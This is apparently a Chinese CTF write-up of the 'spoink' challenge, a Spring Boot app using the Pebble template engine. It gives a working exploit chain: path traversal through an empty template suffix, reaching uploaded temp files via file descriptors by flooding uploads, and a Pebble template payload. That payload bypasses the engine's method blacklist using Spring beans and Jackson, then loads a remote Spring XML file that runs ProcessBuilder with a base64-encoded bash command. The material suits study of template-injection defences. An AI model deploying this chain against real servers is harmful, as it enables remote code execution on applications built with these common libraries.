寫在前面
之前周末忙著強(qiáng)網(wǎng)杯,對這道題只做了一半就擱置下來了,最后卡在繞過最新pebble模板引擎RCE那里,今天抽空來繼續(xù)進(jìn)行剩下的分析,正好題目里有幾個(gè)在現(xiàn)實(shí)場景當(dāng)中能用的trick順便也分享了
題目環(huán)境分析
也是挺不錯(cuò)題目直接給了Docker環(huán)境便于本地搭建,同時(shí)設(shè)置了權(quán)限需要執(zhí)行./getflag才能獲取獲得flag
FROM openjdk:18-slim-bullseyeRUN mkdir /usr/src/AppWORKDIR /usr/src/app# create userRUN groupadd chalusrRUN useradd -ms /bin/bash -g chalusr chalusrCOPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./COPY spoink/public ./publicCOPY spoink/templates ./templatesCOPY getflag ./RUN chmod 111 ./getflagUSER chalusrCMD ["JAVA", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]
路由只有一個(gè),根據(jù)參數(shù)x返回指定模板,剛看到這里的時(shí)候其實(shí)有點(diǎn)懵,畢竟很少見到只給一個(gè)路由的代碼
@Controllerpublic class HomeController { public HomeController() { } @RequestMapping({"/"}) public String getTemplate(@RequestParam("x") Optional<String> template, Model model) { return (String)template.orElse("home.pebble"); }}
不過我很快關(guān)注到了一個(gè)application.properties當(dāng)中一個(gè)很有趣的點(diǎn),也就是這里沒有后綴,因此想到了一個(gè)目錄穿越的可能
pebble.prefix = templatespebble.suffix =
正文
目錄穿越
為什么我說上面那個(gè)點(diǎn)很有趣,其實(shí)就是第一個(gè)想分享的trick,路徑穿越,簡單來說pebble當(dāng)中有兩個(gè)loader一個(gè)是classpathloader,另一個(gè)是fileloader,優(yōu)先會(huì)在classpath下嘗試加載模板文件,如果尋找不到則使用fileloader嘗試加載模板文件,其他調(diào)用棧不是很重要這里就不多提了
既然想實(shí)現(xiàn)任意文件讀那第一個(gè)就別想了,我們來看第二個(gè),它在
com.mitchellbosecke.pebble.loader.FileLoader#getFile最終加載模板文件內(nèi)容
可以很明顯看到這里沒有做路徑限制,導(dǎo)致我們可以進(jìn)行跨目錄讀任意文件
結(jié)果如下
RCE攻擊路徑初步構(gòu)建
因此我們便能成功想到一條能RCE的攻擊路徑
- 上傳帶惡意內(nèi)容的模板文件到目標(biāo)服務(wù)器
- 利用LFI讀取這個(gè)模板并RCE
如何上傳文件?上傳了如何獲取?
但是這里就遇到第一個(gè)難點(diǎn),如何上傳文件?這里路由當(dāng)中并沒有上傳文件的功能點(diǎn)
怎么辦?其實(shí)很簡單,我們也知道,我們的Spring MVC框架是圍繞DispatcherServlet來設(shè)計(jì)的,這個(gè)Servlet會(huì)把請求分發(fā)給各個(gè)處理器,并支持可配置的處理器映射、視圖渲染、本地化、時(shí)區(qū)與主題渲染和 文件上傳 等功能,好了我都圈出來重點(diǎn)了
在這過程當(dāng)中它會(huì)檢查這是否是一個(gè)表單請求
正好我們也知道spring默認(rèn)使用內(nèi)置的Tomcat引擎,
在處理表單的內(nèi)容當(dāng)中這會(huì)調(diào)用
org.Apache.catalina.connector.Request#getParts 去處理解析內(nèi)容,而這在之前的文章Tomcat文件上傳流量層面系列文章當(dāng)中也提到過,遺忘的可以去 我的博客 考古
廢話不多說,類似php的處理一樣,它會(huì)先將上傳的文件保存到一個(gè)臨時(shí)目錄再最終復(fù)制到目標(biāo)文件夾,臨時(shí)文件夾的獲取在哪里,在
org.apache.catalina.connector.Request#parseParts
發(fā)現(xiàn)是通過
javax.servlet.MultipartConfigElement#getLocation 函數(shù)獲取到保存到臨時(shí)路徑
不難看到這里是空對吧,也就是默認(rèn)值(默認(rèn)的話后面會(huì)存到/tmp目錄下),順便多提一下,哪里可以設(shè)置這個(gè)location呢
在spring的啟動(dòng)過程當(dāng)中,會(huì)根據(jù)
spring.servlet.multipart.location 的值設(shè)置這個(gè)內(nèi)容,具體可以自行去參考
org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
@ConfigurationProperties( prefix = "spring.servlet.multipart", ignoreUnknownFields = false)public class MultipartProperties { private boolean enabled = true; private String location; private DataSize maxFileSize = DataSize.ofMegabytes(1L); private DataSize maxRequestSize = DataSize.ofMegabytes(10L); private DataSize fileSizeThreshold = DataSize.ofBytes(0L); private boolean resolveLazily = false; public MultipartProperties() { } public boolean getEnabled() { return this.enabled; } public void setEnabled(boolean enabled) { this.enabled = enabled; } public String getLocation() { return this.location; } public void setLocation(String location) { this.location = location; } public DataSize getMaxFileSize() { return this.maxFileSize; } public void setMaxFileSize(DataSize maxFileSize) { this.maxFileSize = maxFileSize; } public DataSize getMaxRequestSize() { return this.maxRequestSize; } public void setMaxRequestSize(DataSize maxRequestSize) { this.maxRequestSize = maxRequestSize; } public DataSize getFileSizeThreshold() { return this.fileSizeThreshold; } public void setFileSizeThreshold(DataSize fileSizeThreshold) { this.fileSizeThreshold = fileSizeThreshold; } public boolean isResolveLazily() { return this.resolveLazily; } public void setResolveLazily(boolean resolveLazily) { this.resolveLazily = resolveLazily; } public MultipartConfigElement createMultipartConfig() { MultipartConfigFactory factory = new MultipartConfigFactory(); PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull(); map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold); map.from(this.location).whenHasText().to(factory::setLocation); map.from(this.maxRequestSize).to(factory::setMaxRequestSize); map.from(this.maxFileSize).to(factory::setMaxFileSize); return factory.createMultipartConfig(); }}
ok回到正文,如果這為空,就會(huì)保存到默認(rèn)路徑,也就是
javax.servlet.context.tempdir ,實(shí)際上就是在/tmp目錄下
try { String locationStr = mce.getLocation(); File location; if (locationStr != null && locationStr.length() != 0) { location = new File(locationStr); if (!location.isAbsolute()) { location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile(); } } else { location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"); }
這里調(diào)試可以看到將會(huì)保存在這個(gè)看著就不能爆破的文件夾下,
且不說前面這個(gè)又臭又長的文件夾,在最終生成臨時(shí)文件時(shí)
org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile
還有靠UID隨機(jī)生成的文件名,真的是不怕麻煩
protected File getTempFile() { if (this.tempFile == null) { File tempDir = this.repository; if (tempDir == null) { tempDir = new File(System.getProperty("java.io.tmpdir")); } String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId()); this.tempFile = new File(tempDir, tempFileName); } return this.tempFile;}
不過當(dāng)然我們肯定是有辦法的啦,別忘了有個(gè)東西叫文件描述符,這玩意兒是啥我想大家都知道,因此我們可以通過上傳大文件多線程狂轟亂炸,burp都給我沖起來!不得不說狂轟亂炸法yyds!按理說上傳完了以后這玩意兒就應(yīng)該關(guān)閉,結(jié)果我發(fā)現(xiàn)我停止后,去和yzddmr6吹牛一分鐘都還在。
當(dāng)然其實(shí)還可以通過curl命令的--limit-rate參數(shù)來限制HTTP請求和回應(yīng)的帶寬,但我覺得burp狂轟亂炸更適合我.
curl --limit-rate 1k -X POST http://vps:1234 -F "<a href="https://paper.seebug.org/cdn-cgi/l/email-protection" data-cfemail="a0c6c9ccc59de0">[email protected]</a>/tmp/1.txt"
之后就是如何實(shí)現(xiàn)模板注入實(shí)現(xiàn)RCE了
利用現(xiàn)有環(huán)境Bypass最新版Pebble模板引擎限制
網(wǎng)上隨便抄了一個(gè)看起來最新的
{% set cmd = 'id' %}{% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %}{{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }}
結(jié)果命令行大大的問號(hào)?然后想到了這是最新版修復(fù)了之前的問題
根據(jù)報(bào)錯(cuò)內(nèi)容的顯示,接下來我們看看具體做的哪些限制,可以看到夠惡心的不能是下面這么多類的實(shí)例???并且能調(diào)用FORBIDDEN_METHODS 當(dāng)中的方法,特別是判斷是否為Class實(shí)例將我們反射的路給斷掉了(在這個(gè)模板語法當(dāng)中只能通過xx.class.forName去獲取其他對象) ,剩下代碼也很簡單就不帶著讀了
public class BlacklistMethodAccessValidator implements MethodAccessValidator { private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"}; public BlacklistMethodAccessValidator() { } public boolean isMethodAccessAllowed(Object object, Method method) { boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method); return !methodForbidden; } private boolean isUnsafeMethod(Method member) { return this.isAnyOfMethods(member, FORBIDDEN_METHODS); } private boolean isAnyOfMethods(Method member, String... methods) { String[] var3 = methods; int var4 = methods.length; for(int var5 = 0; var5 < var4; ++var5) { String method = var3[var5]; if (this.isMethodWithName(member, method)) { return true; } } return false; } private boolean isMethodWithName(Method member, String method) { return member.getName().equals(method); }}
如何繞過限制加載任意Class對象
我們也知道Spring 應(yīng)用程序的許多實(shí)例都隱式注冊為bean,因此我們能不能從bean當(dāng)中找到一個(gè)對象而這個(gè)對象當(dāng)中保存了classloader對象,通過獲取到它我們就能通過執(zhí)行l(wèi)oadClass加載到任意對象
既然如此,第一反應(yīng)其實(shí)就是想到去上下文中看看有沒有這些bean對象,而pebble在初始化上下文時(shí)是在
com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 當(dāng)中
可以看到這個(gè)map當(dāng)中存了beans對象,而這個(gè)beans對象當(dāng)中存的是那些bean對象,一方面我們可以直接遍歷輸出到控制臺(tái)
另一方面我們也可以直接在代碼當(dāng)中看一眼,反正不費(fèi)事往上看看,可以看到是在
com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel
當(dāng)中,獲取了spring的應(yīng)用程序上下文并添加到beans屬性當(dāng)中
private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) { model.put("beans", new Beans(this.getApplicationContext())); model.put("request", request); model.put("response", response); model.put("session", request.getSession(false));}
因此我們可以通過表達(dá)式獲取到這個(gè)上下文當(dāng)中注冊的bean,去嘗試尋找一些其他的屬性來繞過限制,
因此為了方便遍歷bean當(dāng)中的類,我們在原路由前加上獲取上下文的部分代碼
@RequestMapping({"/"})public String getTemplate(@RequestParam("x") Optional<String> template, Model model) { ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext(); org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss); String[] beanDefinitionNames = context.getBeanDefinitionNames(); for (String o:beanDefinitionNames) { System.out.println(o.toString()); } return (String)template.orElse("home.pebble");}
重新啟動(dòng)項(xiàng)目并訪問可以得到控制臺(tái)輸出
//輸出org.springframework.context.annotation.internalConfigurationAnnotationProcessororg.springframework.context.annotation.internalAutowiredAnnotationProcessororg.springframework.context.annotation.internalCommonAnnotationProcessororg.springframework.context.event.internalEventListenerProcessororg.springframework.context.event.internalEventListenerFactoryspoinkApplicationorg.springframework.boot.autoconfigure.internalCachingMetadataReaderFactoryhomeControllerpebbleLoaderorg.springframework.boot.autoconfigure.AutoConfigurationPackagesorg.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfigurationpropertySourcesPlaceholderConfigurerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfigurationwebsocketServletWebServerCustomizerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcattomcatServletWebServerFactoryorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfigurationservletWebServerFactoryCustomizertomcatServletWebServerFactoryCustomizerorg.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessororg.springframework.boot.context.internalConfigurationPropertiesBinderFactoryorg.springframework.boot.context.internalConfigurationPropertiesBinderorg.springframework.boot.context.properties.BoundConfigurationPropertiesorg.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilterserver-org.springframework.boot.autoconfigure.web.ServerPropertieswebServerFactoryCustomizerBeanPostProcessorerrorPageRegistrarBeanPostProcessororg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfigurationdispatcherServletspring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcPropertiesorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfigurationdispatcherServletRegistrationorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfigurationorg.springframework.boot.autoconfigure.task.TaskExecutionAutoConfigurationtaskExecutorBuilderapplicationTaskExecutorspring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfigurationerrorbeanNameViewResolverorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfigurationconventionErrorViewResolverspring.web-org.springframework.boot.autoconfigure.web.WebPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfigurationerrorAttributesbasicErrorControllererrorPageCustomizerpreserveErrorControllerTargetClassPostProcessororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfigurationrequestMappingHandlerAdapterrequestMappingHandlerMappingwelcomePageHandlerMappinglocaleResolverthemeResolverflashMapManagermvcConversionServicemvcValidatormvcContentNegotiationManagermvcPatternParsermvcUrlPathHelpermvcPathMatcherviewControllerHandlerMappingbeanNameHandlerMappingrouterFunctionMappingresourceHandlerMappingmvcResourceUrlProviderdefaultServletHandlerMappinghandlerFunctionAdaptermvcUriComponentsContributorhttpRequestHandlerAdaptersimpleControllerHandlerAdapterhandlerExceptionResolvermvcViewResolvermvcHandlerMappingIntrospectorviewNameTranslatororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapterdefaultViewResolverviewResolverrequestContextFilterorg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfigurationformContentFiltercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfigurationpebbleViewResolvercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfigurationspringExtensionpebbleEnginepebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebblePropertiesorg.springframework.boot.autoconfigure.jmx.JmxAutoConfigurationmbeanExporterobjectNamingStrategymbeanServerorg.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfigurationspringApplicationAdminRegistrarorg.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfigurationforceAutoProxyCreatorToUseClassProxyingorg.springframework.boot.autoconfigure.aop.AopAutoConfigurationorg.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfigurationapplicationAvailabilityorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfigurationstandardJacksonObjectMapperBuilderCustomizerspring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonPropertiesorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfigurationjacksonObjectMapperBuilderorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfigurationparameterNamesModuleorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfigurationjacksonObjectMapperorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfigurationjsonComponentModuleorg.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfigurationorg.springframework.boot.autoconfigure.context.LifecycleAutoConfigurationlifecycleProcessorspring.lifecycle-org.springframework.boot.autoconfigure.context.LifecyclePropertiesorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfigurationstringHttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfigurationmappingJackson2HttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfigurationorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfigurationmessageConvertersorg.springframework.boot.autoconfigure.info.ProjectInfoAutoConfigurationspring.info-org.springframework.boot.autoconfigure.info.ProjectInfoPropertiesorg.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfigurationspring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationPropertiesorg.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessororg.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfigurationscheduledBeanLazyInitializationExcludeFiltertaskSchedulerBuilderspring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingPropertiesorg.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfigurationrestTemplateBuilderConfigurerrestTemplateBuilderorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfigurationtomcatWebServerFactoryCustomizerorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfigurationcharacterEncodingFilterlocaleCharsetMappingsCustomizerorg.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfigurationmultipartConfigElementmultipartResolverspring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartPropertiesorg.springframework.aop.config.internalAutoProxyCreator
之后也算運(yùn)氣好,測了前幾個(gè)就發(fā)現(xiàn)通過取得
internalCachingMetadataReaderFactory對象可以拿到classLoader
因此有了這個(gè)我們便可以加載任意類了
{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}
但是我們需要獲得一個(gè)類實(shí)例,但是我們不能去調(diào)用它的任何方法畢竟是class類,很好的一點(diǎn)是這里有jackson??,beans對象里也能直接獲取到,解決一切問題
{% set woshishuaibi = beans.get("jacksonObjectMapper").readValue("{}", class1) %}
因此我們能獲得一個(gè)類的實(shí)例以后rce就相對“簡單”了??,比如說
ScriptEngineManager engineManager = new ScriptEngineManager();ScriptEngine engine = engineManager.getEngineByName("js");engine.eval("xxxx");
但題目當(dāng)中環(huán)境是jdk18,發(fā)現(xiàn)
engineManager.getEngineByName里面褲子都不剩了啥都沒有,看來這個(gè)方法也是沒用的,同時(shí)由于jackson實(shí)例化限制我們也不能直接實(shí)例化jshell
此時(shí)靈機(jī)一動(dòng)我又想到兩個(gè)類,它們實(shí)例化加載配置文件可以造成rce
- org.springframework.context.support.ClassPathXmlApplicationContext
- org.springframework.context.support.FileSystemXmlApplicationContext
但是臉黑啊,環(huán)境里面jackson有限制,繼承了
AbstractPointcutAdvisor/AbstractApplicationContext這兩個(gè)類的都不行,心里xxx
這時(shí)候怎么辦呢?那classpath下有沒有某個(gè)類可以幫助我們實(shí)例化任意對象呢?
另類繞過Jackson黑名單限制
當(dāng)然有噠!也就是java.beans.Beans類,這個(gè)類可以幫助我們實(shí)例化任意方法
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException { return Beans.instantiate(cls, beanName, null, null);}
這里的參數(shù)cls可以不傳,為null則會(huì)默認(rèn)調(diào)用
ClassLoader.getSystemClassLoader();獲取一個(gè)classloader
public static Object instantiate(ClassLoader cls, String beanName, BeanContext beanContext, AppletInitializer initializer) throws IOException, ClassNotFoundException { InputStream ins; ObjectInputStream oins = null; Object result = null; boolean serialized = false; IOException serex = null; // If the given classloader is null, we check if an // system classloader is available and (if so) // use that instead. // Note that calls on the system class loader will // look in the bootstrap class loader first. if (cls == null) { try { cls = ClassLoader.getSystemClassLoader(); } catch (SecurityException ex) { // We're not allowed to access the system class loader. // Drop through. } }
之后的邏輯我們不需要關(guān)注那個(gè)二次反序列化的部分,在后面可以看到可以實(shí)例化任意public修飾的構(gòu)造方法
if (result == null) { // No serialized object, try just instantiating the class Class<?> cl; try { cl = ClassFinder.findClass(beanName, cls); } catch (ClassNotFoundException ex) { // There is no appropriate class. If we earlier tried to // deserialize an object and got an IO exception, throw that, // otherwise rethrow the ClassNotFoundException. if (serex != null) { throw serex; } throw ex; } if (!Modifier.isPublic(cl.getModifiers())) { throw new ClassNotFoundException("" + cl + " : no public access"); } /* * Try to instantiate the class. */ try { result = cl.newInstance(); } catch (Exception ex) { // We have to remap the exception to one in our signature. // But we pass extra information in the detail message. throw new ClassNotFoundException("" + cl + " : " + ex, ex); }}
最終構(gòu)造實(shí)現(xiàn)RCE
最終模板文件構(gòu)造
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}{{ yyy.setConfigLocation("http://xxxx/1.xml") }}{{ yyy.refresh() }}
1.xml
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>open</value> <value>-a</value> <value>calculator</value> </list> </constructor-arg> </bean> </beans>
本地彈出了計(jì)算器,那么現(xiàn)在則可以開始著手解題了,
構(gòu)造命令 ./getflag > /tmp/flag
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>bash</value> <value>-c</value> <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value> </list> </constructor-arg> </bean> </beans>
先用burp狂轟亂炸,看到頁面有回顯的說明執(zhí)行成功
再包含進(jìn)來就ok了
原文鏈接:
https://f5.pm/go-121363.html